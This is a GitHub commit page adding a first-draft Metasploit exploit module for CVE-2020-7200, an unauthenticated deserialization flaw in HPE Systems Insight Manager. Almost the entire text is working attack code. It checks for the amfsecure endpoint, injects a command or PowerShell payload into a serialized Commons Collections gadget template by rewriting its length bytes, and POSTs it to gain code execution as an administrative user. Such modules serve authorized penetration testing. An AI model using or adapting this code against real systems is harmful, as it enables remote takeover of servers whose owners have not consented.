Skip to content

Commit f327d30

Browse files
committed
First attempt at CVE-2020-7200 module, with RuboCopped module
1 parent 1e87453 commit f327d30

File tree

2 files changed

+148
-0
lines changed

2 files changed

+148
-0
lines changed
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
# This module requires Metasploit: https://metasploit.com/download
2+
# Current source: https://github.com/rapid7/metasploit-framework
3+
4+
class MetasploitModule < Msf::Exploit::Remote
5+
6+
Rank = ExcellentRanking
7+
8+
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Exploit::Powershell
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'HPE Systems Insight Manager AMF Deserialization RCE',
17+
'Description' => %q{
18+
A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be
19+
leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight
20+
Manager's hpsimsvc.exe process, which runs with administrative privileges. The vulnerability occurs due
21+
to a failure to validate data during the deserialization process when a user submits a POST request to
22+
the /simsearch/messagebroker/amfsecure page. This module exploits this vulnerability by leveraging an
23+
outdated copy of Coommons Collection, namely 3.2.2, that ships with HPE SIM, to gain
24+
RCE as the administrative user running HPE SIM.
25+
},
26+
'Author' => [
27+
'Harrison Neal', # Original bug finder, reported bug to ZDI
28+
'Jang', # Aka @testbnull, editor of nightst0rm, who wrote a very detailed writeup of this bug in Vietnamese
29+
'Grant Willcox' # Metasploit module author
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' => [
33+
['CVE', '2020-7200'],
34+
['URL', 'https://testbnull.medium.com/hpe-system-insight-manager-sim-amf-deserialization-lead-to-rce-cve-2020-7200-d49a9cf143c0'],
35+
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-20-1449/']
36+
],
37+
'Platform' => 'win',
38+
'Targets' => [
39+
[
40+
'Windows Command',
41+
{
42+
'Arch' => ARCH_CMD,
43+
'Type' => :windows_command,
44+
'Space' => 64000
45+
}
46+
],
47+
[
48+
'Windows Powershell',
49+
{
50+
'Arch' => [ARCH_X64],
51+
'Type' => :windows_powershell,
52+
'Space' => 64000
53+
}
54+
]
55+
],
56+
'DefaultOptions' => {
57+
'RPORT' => 50000,
58+
'SSL' => true
59+
},
60+
'DefaultTarget' => 0,
61+
'DisclosureDate' => '2020-12-15',
62+
'Notes' =>
63+
{
64+
'Stability' => [CRASH_SAFE],
65+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
66+
'Reliability' => [REPEATABLE_SESSION]
67+
},
68+
'Privileged' => true
69+
)
70+
)
71+
72+
register_options([
73+
OptString.new('TARGETURI', [ true, 'The base path to the HPE SIM server', '/' ])
74+
])
75+
end
76+
77+
def check
78+
res = send_request_cgi({
79+
'method' => 'GET',
80+
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure')
81+
})
82+
83+
return CheckCode::Unknown('Failed to connect to the server.') if res.nil?
84+
return CheckCode::Safe('Failed to identify an active amfsecure endpoint on the target.') unless res&.code == 200
85+
86+
CheckCode::Appears('Found an active amfsecure endpoint on the target!')
87+
end
88+
89+
def exploit
90+
case target['Type']
91+
when :windows_command
92+
execute_command(payload.encoded.gsub!(/^powershell.exe /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe '))
93+
when :windows_powershell
94+
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).gsub!(/^powershell.exe /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe '))
95+
end
96+
end
97+
98+
def payload_template_adjustments(original_content, cmd)
99+
p cmd
100+
original_content['PAYLOAD'] = cmd
101+
original_content[0x47A..0x47B] = [cmd.length].pack('n')
102+
103+
second_adjustment_length = original_content[0x3C..-1].length * 2
104+
if (second_adjustment_length >> 7 >> 7 >> 8) != 0
105+
fourth_number = (second_adjustment_length & 0x7F) + 1
106+
third_number = (second_adjustment_length >> 7) | 0x80 # And with 0xFF00 to only get the top 8 bytes. Then right shift by 7 to undo the left shift by 7 in the code, and
107+
# since this is a number greater than 0x7F, add in the sign bit again by ORing with 0x80.
108+
second_number = (second_adjustment_length >> 7 >> 7) | 0x80 # Same thing as above but right shift 7 twice to undo the left shift by 7 twice in the code.
109+
first_number = (second_adjustment_length >> 7 >> 7 >> 8) | 0x80 # Same thing as above but right shift 7 twice to undo the left shift by 7 twice in the code and also right shift by 8 to undo the left shift by 8 in the code.
110+
original_content[0x3A..0x3B] = [first_number, second_number, third_number, fourth_number].pack('cccc')
111+
elsif (second_adjustment_length >> 7 >> 7) != 0
112+
third_number = (second_adjustment_length & 0x7F) + 1
113+
second_number = (second_adjustment_length >> 7) | 0x80 # And with 0xFF00 to only get the top 8 bytes. Then right shift by 7 to undo the left shift by 7 in the code, and
114+
# since this is a number greater than 0x7F, add in the sign bit again by ORing with 0x80.
115+
first_number = (second_adjustment_length >> 7 >> 7) | 0x80 # Same thing as above but right shift 7 twice to undo the left shift by 7 twice in the code.
116+
original_content[0x3A..0x3B] = [first_number, second_number, third_number].pack('ccc')
117+
elsif (second_adjustment_length >> 7) != 0
118+
second_number = (second_adjustment_length & 0x7F) + 1
119+
first_number = (second_adjustment_length >> 7) | 0x80 # And with 0xFF00 to only get the top 8 bytes. Then right shift by 7 to undo the left shift by 7 in the code, and
120+
# since this is a number greater than 0x7F, add in the sign bit again by ORing with 0x80.
121+
original_content[0x3A..0x3B] = [first_number, second_number].pack('cc')
122+
else
123+
original_content[0x3A..0x3B] = [second_adjustment_length + 1].pack('c')
124+
end
125+
original_content
126+
end
127+
128+
def execute_command(cmd, _opts = {})
129+
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
130+
f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb')
131+
serialized_payload_content = f_handle.read
132+
f_handle.close
133+
serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, cmd)
134+
135+
res = send_request_cgi({
136+
'method' => 'POST',
137+
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'),
138+
'data' => serialized_payload_content_final
139+
})
140+
141+
unless res&.code == 200
142+
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command')
143+
end
144+
if !res.to_s.include?('java.lang.NullPointerException')
145+
fail_with(Failure::UnexpectedReply, 'Server should respond with a java.lang.NullPointerException upon successful deserialization, but no such message was recieved!')
146+
end
147+
end
148+
end

0 commit comments

Comments
 (0)